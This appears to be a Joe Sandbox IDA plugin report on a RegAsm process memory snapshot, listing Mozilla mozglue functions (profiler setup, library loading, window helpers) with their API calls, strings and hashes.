Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 3acd386b570d50b7ddc53c2b21d6ebd6b7ef75364b3340c2f014aca68533fdc9
Instruction ID: 83feb896d19348bf41cbd41cfda0c98fca1b4a505d9b55e609ac322570b9a01e
Opcode Fuzzy Hash: 3acd386b570d50b7ddc53c2b21d6ebd6b7ef75364b3340c2f014aca68533fdc9
Instruction Fuzzy Hash: 8FF0C8B094021CAEDF019AB1CD88BDF77BD9B0431EF10623AD516616C0D778A5CCD660

Function 6C72B8C0 Relevance: 3.1, APIs: 2, Instructions: 118nativeCOMMON

Download Yara Rule

APIs

rand_s.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C6D03D4,?), ref: 6C72B955
NtQueryVirtualMemory.NTDLL ref: 6C72B9A5

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: MemoryQueryVirtualrand_s
String ID:
API String ID: 1889792194-0
Opcode ID: 6f9bf1494146494d3db79d7b0b433442b084eb2c42f67fff1d5442b4f0db92c4
Instruction ID: bb3bcf2f25cc7c477277028c2aeb0c62adb10d5e433b978dfde7db3e3c8bb4f3
Opcode Fuzzy Hash: 6f9bf1494146494d3db79d7b0b433442b084eb2c42f67fff1d5442b4f0db92c4
Instruction Fuzzy Hash: 8D41B471E01219DFDF04CFA9D980ADEB7B6FF88314F14813AE516A7704DB34A8458B94

Function 6C7255F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(user32,?,6C6FE1A5), ref: 6C725606
LoadLibraryW.KERNEL32(gdi32,?,6C6FE1A5), ref: 6C72560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6C725633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6C72563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6C72566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6C72567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6C725696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6C7256B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6C7256CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6C7256E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6C7256FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6C725716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6C72572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6C725748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6C725761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6C72577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6C725793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6C7257A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C7257BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C7257D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C7257EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C7257FF

Strings

GetSystemMetricsForDpi, xrefs: 6C725677
AreDpiAwarenessContextsEqual, xrefs: 6C725637
DeleteObject, xrefs: 6C7257F9
GetWindowDC, xrefs: 6C725710
SetWindowLongPtrW, xrefs: 6C7257B7
gdi32, xrefs: 6C72560A
FillRect, xrefs: 6C725729
StretchDIBits, xrefs: 6C7257CC
CreateSolidBrush, xrefs: 6C7257E4
CreateWindowExW, xrefs: 6C7256C5
MonitorFromWindow, xrefs: 6C72578D
SetWindowPos, xrefs: 6C7256F7
GetDpiForWindow, xrefs: 6C725690
ShowWindow, xrefs: 6C7256DE
LoadIconW, xrefs: 6C72575B
EnableNonClientDpiScaling, xrefs: 6C725666
user32, xrefs: 6C725601
GetMonitorInfoW, xrefs: 6C7257A2
ReleaseDC, xrefs: 6C725742
GetThreadDpiAwarenessContext, xrefs: 6C72562D
LoadCursorW, xrefs: 6C725774
RegisterClassW, xrefs: 6C7256AC

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 6c8c7d929f13d2cd2f2824725a6700ea2f1bd59414833797e89808c9afaa0647
Instruction ID: 8568325e1e59f67d17005a2f0db9d6fcb14505acf79d912cabd96f2bca085924
Opcode Fuzzy Hash: 6c8c7d929f13d2cd2f2824725a6700ea2f1bd59414833797e89808c9afaa0647
Instruction Fuzzy Hash: 0B5144706017125BDB40BF3A9F44D2A7ABCEB4B249B50D436E921E2A46EB74DD00CF60

Function 6C70CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C6D582D), ref: 6C70CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C6D582D), ref: 6C70CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C73FE98,?,?,?,?,?,6C6D582D), ref: 6C70CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C6D582D), ref: 6C70CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C6D582D), ref: 6C70CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C6D582D), ref: 6C70CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6D582D), ref: 6C70CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C70CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C70CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C70CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C70CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C70CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C70CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C70CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C70CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C70CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C70CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C70CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C70CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C70CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C70CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C70CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C70CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C70CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C70CE8A

Strings

Unrecognized feature "%s"., xrefs: 6C70CEA0
power, xrefs: 6C70CE84
ipcmessages, xrefs: 6C70CDBE
nativeallocations, xrefs: 6C70CDA8
seqstyle, xrefs: 6C70CCE6
java, xrefs: 6C70CC37
mainthreadio, xrefs: 6C70CC7C
markersallthreads, xrefs: 6C70CE42
noiostacks, xrefs: 6C70CCBE
jsallocations, xrefs: 6C70CD0E
processcpu, xrefs: 6C70CE6E
default, xrefs: 6C70CC21
notimerresolutionchange, xrefs: 6C70CE00
unregisteredthreads, xrefs: 6C70CE58
cpuallthreads, xrefs: 6C70CE16
fileio, xrefs: 6C70CC92
leaf, xrefs: 6C70CC66
samplingallthreads, xrefs: 6C70CE2C
preferencereads, xrefs: 6C70CD92
nostacksampling, xrefs: 6C70CD7C
audiocallbacktracing, xrefs: 6C70CDD4
stackwalk, xrefs: 6C70CCF8
screenshots, xrefs: 6C70CCD4
fileioall, xrefs: 6C70CCA8

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 53095b8788664e025618167f9bcbd9265cc314b6b056cd1e28a5fac97584f750
Instruction ID: 31c4608101abf0d07ce37f85feb279c64ac3d35e6fea8f9d9c544b32f4f706c8
Opcode Fuzzy Hash: 53095b8788664e025618167f9bcbd9265cc314b6b056cd1e28a5fac97584f750
Instruction Fuzzy Hash: C151B7C2B4563552FA003115AF1ABAA14C9EF6324BF10653AED0EA5F81FF05A709C7B7

Function 6C6D47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C6D4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C6D4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C6D482D
__Init_thread_footer.LIBCMT ref: 6C6D484A

Part of subcall function 6C6FAB3F: EnterCriticalSection.KERNEL32(6C74E370,?,?,6C6C3527,6C74F6CC,?,?,?,?,?,?,?,?,6C6C3284), ref: 6C6FAB49
Part of subcall function 6C6FAB3F: LeaveCriticalSection.KERNEL32(6C74E370,?,6C6C3527,6C74F6CC,?,?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6FAB7C

GetCurrentThreadId.KERNEL32 ref: 6C6D485F
GetCurrentThreadId.KERNEL32 ref: 6C6D487E
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C6D488B
free.MOZGLUE(?), ref: 6C6D493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6D4956
free.MOZGLUE(00000000), ref: 6C6D4960
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C6D499A

Part of subcall function 6C6FAB89: EnterCriticalSection.KERNEL32(6C74E370,?,?,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284), ref: 6C6FAB94
Part of subcall function 6C6FAB89: LeaveCriticalSection.KERNEL32(6C74E370,?,6C6C34DE,6C74F6CC,?,?,?,?,?,?,?,6C6C3284,?,?,6C6E56F6), ref: 6C6FABD1

free.MOZGLUE(?), ref: 6C6D49C6
free.MOZGLUE(?), ref: 6C6D49E9

Part of subcall function 6C6E5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C6E5EDB
Part of subcall function 6C6E5E90: memset.VCRUNTIME140(ewrl,000000E5,?), ref: 6C6E5F27
Part of subcall function 6C6E5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C6E5FB2

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6D4812
[I %d/%d] profiler_shutdown, xrefs: 6C6D4A06
MOZ_PROFILER_SHUTDOWN, xrefs: 6C6D4A42
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6D47FC
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6D4828

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: ad0b4b3d6168c3186188860c642f186b9e4dcdc12963ea7a7d178e9b6b41471d
Instruction ID: 34cb2f9e5bfd66266ffebeaac43d7a461001645a0b9f35dc99f50823b5b36623
Opcode Fuzzy Hash: ad0b4b3d6168c3186188860c642f186b9e4dcdc12963ea7a7d178e9b6b41471d
Instruction Fuzzy Hash: 2A811670A001008BDB10EF68C88477A3775AF4232DF1A4276D9269BB45EB71FD55CB9E

Function 6C6D4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6D4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C6D44B2,6C74E21C,6C74F7F8), ref: 6C6D473E
Part of subcall function 6C6D4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C6D474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C6D44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C6D44D2
InitOnceExecuteOnce.KERNEL32(6C74F80C,6C6CF240,?,?), ref: 6C6D451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C6D455C
LoadLibraryW.KERNEL32(?), ref: 6C6D4592
InitializeCriticalSection.KERNEL32(6C74F770), ref: 6C6D45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C6D45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C6D45BB
InitOnceExecuteOnce.KERNEL32(6C74F818,6C6CF240,?,?), ref: 6C6D4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C6D4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C6D4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C6D466D
VerSetConditionMask.NTDLL ref: 6C6D469F
VerSetConditionMask.NTDLL ref: 6C6D46AB
VerSetConditionMask.NTDLL ref: 6C6D46B2
VerSetConditionMask.NTDLL ref: 6C6D46B9
VerSetConditionMask.NTDLL ref: 6C6D46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C6D46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C6D46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C6D46FD

Strings

kernel32.dll, xrefs: 6C6D44CD
NativeNtBlockSet_Write, xrefs: 6C6D46F7
WRusr.dll, xrefs: 6C6D44B5
user32.dll, xrefs: 6C6D4557, 6C6D463F
Gtl, xrefs: 6C6D44FC
l, xrefs: 6C6D4578

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gtl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-2699975829
Opcode ID: 6224c9dde0a50449480b0c7c234a495bf436586915b878d6f4fbefeb62b304d2
Instruction ID: 6bfd29d05e12145b989d783e756c73c1d71e52b37bd63ef7bc0dfeb858bafee0
Opcode Fuzzy Hash: 6224c9dde0a50449480b0c7c234a495bf436586915b878d6f4fbefeb62b304d2
Instruction Fuzzy Hash: DA6125B0604348AFEB11AF61CD09BA97BBCEB4630CF05C16AE5089B641D7B4AE44CF95

Function 6C6D19A0 Relevance: 44.2, APIs: 24, Strings: 1, Instructions: 407COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C74F760), ref: 6C6D19BD
GetCurrentProcess.KERNEL32 ref: 6C6D19E5
GetLastError.KERNEL32 ref: 6C6D1A27
moz_xmalloc.MOZGLUE(?), ref: 6C6D1A41
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6D1A4F
GetLastError.KERNEL32 ref: 6C6D1A92
moz_xmalloc.MOZGLUE(?), ref: 6C6D1AAC
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6D1ABA
LocalFree.KERNEL32(?), ref: 6C6D1C69
free.MOZGLUE(?), ref: 6C6D1C8F
free.MOZGLUE(?), ref: 6C6D1C9D
CloseHandle.KERNEL32(?), ref: 6C6D1CAE
ReleaseSRWLockExclusive.KERNEL32(6C74F760), ref: 6C6D1D52
GetLastError.KERNEL32 ref: 6C6D1DA5
GetLastError.KERNEL32 ref: 6C6D1DFB
GetLastError.KERNEL32 ref: 6C6D1E49
GetLastError.KERNEL32 ref: 6C6D1E68
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6D1E9B

Part of subcall function 6C6D2070: LoadLibraryW.KERNEL32(combase.dll,6C6D1C5F), ref: 6C6D20AE
Part of subcall function 6C6D2070: GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C6D20CD
Part of subcall function 6C6D2070: __Init_thread_footer.LIBCMT ref: 6C6D20E1

memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6D1F15
VerSetConditionMask.NTDLL ref: 6C6D1F46
VerSetConditionMask.NTDLL ref: 6C6D1F52
VerSetConditionMask.NTDLL ref: 6C6D1F59
VerSetConditionMask.NTDLL ref: 6C6D1F60
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C6D1F6D

Strings

D, xrefs: 6C6D1B57

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ErrorLast$ConditionMask$freememset$ExclusiveLockmoz_xmalloc$AcquireAddressCloseCurrentFreeHandleInfoInit_thread_footerLibraryLoadLocalProcProcessReleaseVerifyVersion
String ID: D
API String ID: 290179723-2746444292
Opcode ID: 17f3c33dab42415bbbdfb477c059f26955a2a9a5b17e38e85e8603fb0c094f26
Instruction ID: 990afd724dedc342e17163a4ffac8814940ef43b4b81dace2166a29c3f405f3a
Opcode Fuzzy Hash: 17f3c33dab42415bbbdfb477c059f26955a2a9a5b17e38e85e8603fb0c094f26
Instruction Fuzzy Hash: 93F1B471E003259FEB209F65CD48B9AB7B8FF49728F1141A5E909A7640D7B4ED80CF94

Function 6C70E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C707090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6C70B9F1,?), ref: 6C707107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C70DCF5), ref: 6C70E92D
GetCurrentThreadId.KERNEL32 ref: 6C70EA4F
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70EA5C
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70EA80
GetCurrentThreadId.KERNEL32 ref: 6C70EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6C70DCF5), ref: 6C70EA92
GetCurrentThreadId.KERNEL32 ref: 6C70EB11
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6C70EB3C
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70EB5B

Part of subcall function 6C705710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C70EB71), ref: 6C7057AB

Part of subcall function 6C6FCBE8: GetCurrentProcess.KERNEL32(?,6C6C31A7), ref: 6C6FCBF1
Part of subcall function 6C6FCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C6C31A7), ref: 6C6FCBFA

Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6D4A68), ref: 6C70945E
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C709470
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C709482
Part of subcall function 6C709420: __Init_thread_footer.LIBCMT ref: 6C70949F

GetCurrentThreadId.KERNEL32 ref: 6C70EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6C70EBAC

Part of subcall function 6C7094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7094EE
Part of subcall function 6C7094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C709508

GetCurrentThreadId.KERNEL32 ref: 6C70EBC1
AcquireSRWLockExclusive.KERNEL32(6C74F4B8,?,?,00000000), ref: 6C70EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6C70EBE5
ReleaseSRWLockExclusive.KERNEL32(6C74F4B8,00000000), ref: 6C70EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C70EC46
CloseHandle.KERNEL32(?), ref: 6C70EC55
free.MOZGLUE(00000000), ref: 6C70EC5C

Strings

[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6C70EA9B
[I %d/%d] profiler_start, xrefs: 6C70EBB4

Memory Dump Source

Source File: 00000003.00000002.2046911307.000000006C6C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6C0000, based on PE: true

Associated: 00000003.00000002.2046895787.000000006C6C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047049118.000000006C73D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047081265.000000006C74E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.2047103136.000000006C752000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c6c0000_RegAsm.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: 6ace64b440ac9f633860b10a581aa05a5259fd787950e6decd676a36b63236b7
Instruction ID: 855644a0e6f366e2b15fe12feb5339e60e91d038fad626cf316d9eb8d0746846
Opcode Fuzzy Hash: 6ace64b440ac9f633860b10a581aa05a5259fd787950e6decd676a36b63236b7
Instruction Fuzzy Hash: 0CA117B17006049FDB10AF68D548BAA77F5FF8631CF14813BE96987B41DB70A805CBA5

Function 6C70F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C6D4A68), ref: 6C70945E
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C709470
Part of subcall function 6C709420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C709482
Part of subcall function 6C709420: __Init_thread_footer.LIBCMT ref: 6C70949F

GetCurrentThreadId.KERNEL32 ref: 6C70F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6C70F8F9

Part of subcall function 6C6D6390: GetCurrentThreadId.KERNEL32 ref: 6C6D63D0
Part of subcall function 6C6D6390: AcquireSRWLockExclusive.KERNEL32 ref: 6C6D63DF
Part of subcall function 6C6D6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6C6D640E

ReleaseSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70F93A
GetCurrentThreadId.KERNEL32 ref: 6C70F98A
GetCurrentThreadId.KERNEL32 ref: 6C70F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C70F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C70F716

Part of subcall function 6C7094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C7094EE
Part of subcall function 6C7094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C709508

Part of subcall function 6C6CB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6C6CB5E0

GetCurrentThreadId.KERNEL32 ref: 6C70F739
AcquireSRWLockExclusive.KERNEL32(6C74F4B8), ref: 6C70F746
